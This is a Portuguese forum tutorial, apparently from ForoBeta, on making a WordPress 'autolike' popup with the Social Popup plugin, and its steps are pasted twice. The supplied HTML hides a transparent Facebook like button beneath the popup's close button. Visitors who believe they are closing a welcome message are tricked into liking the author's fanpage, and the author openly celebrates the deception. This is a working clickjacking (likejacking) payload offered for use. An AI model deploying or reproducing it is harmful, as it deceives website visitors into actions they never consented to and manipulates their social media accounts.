S
Salvamagic2013
Zeta
No recomendado
Usuário com poucas negociações! Use sempre o saldo do ForoBeta!
Olá a todos, hoje trago um tutorial que muitos vão adorar. Trata-se de criar o nosso próprio autolike, com estilo profissional, elegante e totalmente responsivo. Sim, leram bem, é compatível com qualquer dispositivo móvel, Android, tablet, laptop e, claro, também no nosso computador de sempre. Poderemos escolher se queremos que apareça apenas na home, apenas nos posts ou em determinados posts que nós indicarmos... há muitas possibilidades.
Vamos começar, meus amigos :encouragement:
O nosso primeiro passo será baixar um plugin do repositório oficial do WordPress. Aqui está ele:
https://wordpress.org/plugins/social-popup/
Uma vez baixado e instalado no nosso WordPress, ativamo-lo e veremos a seguinte tela com diferentes configurações.
Vemos que a primeira seta indica se ativamos ou desativamos o popup e a segunda seta indicaremos a URL da nossa fanpage.
As demais opções restantes não creio que precisem de explicação. Podem configurá-las ao vosso gosto.
O nosso segundo passo será ir à aba de design do plugin
Na caixinha de edição de HTML colocaremos o seguinte código para dar ao nosso popup o estilo visual necessário para que seja exibido na tela.
Chegados a este ponto, já teremos o nosso autolike quase funcionando perfeitamente no nosso site, mas devemos configurar um par de coisas para que também seja visível em celulares.
Iremos à aba de Opções de visualização
A seta preta indicaremos "Ativar" para que o nosso popup também apareça em celulares e tablets.
Todas as demais opções ativamos em todas as caixas como aparece na imagem.
Finalmente, salvaremos as alterações e tudo estará pronto com o nosso popup funcionando a 100%. Lembro que o código que vos dei para colarem na parte de design não deve ser modificado, já que está totalmente otimizado e adaptado para que o botão de like seja funcional. Mediante os divs, o botão de like fica oculto e invisível por baixo do botão "fechar", portanto, quando o usuário clicar no botão fechar, dará like na nossa fanpage. Depois disso, o popup fechará automaticamente e tudo decorrerá de forma "normal", fazendo o usuário acreditar que apenas fechou um popup de boas-vindas, mas nós sabemos que o usuário fez algo mais do que isso 😉. Com cada clique no botão Fechar, ganharemos um fã novo na nossa fanpage.
Como sempre, podem ver uma demo no meu site. Se o popup não aparecer, não pensem que não funciona, é porque eu o desativo a determinadas horas do dia, mas vocês podem tê-lo ativado 24 horas se assim desejarem. :encouragement:
Qualquer dúvida, podem me escrever e eu as resolverei o mais breve possível. :encouragement:
Vamos começar, meus amigos :encouragement:
O nosso primeiro passo será baixar um plugin do repositório oficial do WordPress. Aqui está ele:
https://wordpress.org/plugins/social-popup/
Uma vez baixado e instalado no nosso WordPress, ativamo-lo e veremos a seguinte tela com diferentes configurações.
Vemos que a primeira seta indica se ativamos ou desativamos o popup e a segunda seta indicaremos a URL da nossa fanpage.
As demais opções restantes não creio que precisem de explicação. Podem configurá-las ao vosso gosto.
O nosso segundo passo será ir à aba de design do plugin
Na caixinha de edição de HTML colocaremos o seguinte código para dar ao nosso popup o estilo visual necessário para que seja exibido na tela.
Inserir CODE, HTML ou PHP:
<center><div id='spu-title'><h3>Bienvenido</h3></div></center>
<div id='spu-msg-cont'>
<div id='spu-msg'>
<center><img src="http://i.imgur.com/PZ5Tsel.jpg"/></center>
<div id="iframe"><center><img src="http://i.imgur.com/wdzrQKX.jpg"></center><div style="z-index: 9889;position: absolute;top: 54%;left: 34%;text-align: center;opacity: 0"><center>{facebook}</center><div>
</div>
<div class='step-clear'></div>
</div>Chegados a este ponto, já teremos o nosso autolike quase funcionando perfeitamente no nosso site, mas devemos configurar um par de coisas para que também seja visível em celulares.
Iremos à aba de Opções de visualização
A seta preta indicaremos "Ativar" para que o nosso popup também apareça em celulares e tablets.
Todas as demais opções ativamos em todas as caixas como aparece na imagem.
Finalmente, salvaremos as alterações e tudo estará pronto com o nosso popup funcionando a 100%. Lembro que o código que vos dei para colarem na parte de design não deve ser modificado, já que está totalmente otimizado e adaptado para que o botão de like seja funcional. Mediante os divs, o botão de like fica oculto e invisível por baixo do botão "fechar", portanto, quando o usuário clicar no botão fechar, dará like na nossa fanpage. Depois disso, o popup fechará automaticamente e tudo decorrerá de forma "normal", fazendo o usuário acreditar que apenas fechou um popup de boas-vindas, mas nós sabemos que o usuário fez algo mais do que isso 😉. Com cada clique no botão Fechar, ganharemos um fã novo na nossa fanpage.
Como sempre, podem ver uma demo no meu site. Se o popup não aparecer, não pensem que não funciona, é porque eu o desativo a determinadas horas do dia, mas vocês podem tê-lo ativado 24 horas se assim desejarem. :encouragement:
Qualquer dúvida, podem me escrever e eu as resolverei o mais breve possível. :encouragement:
Última edição:
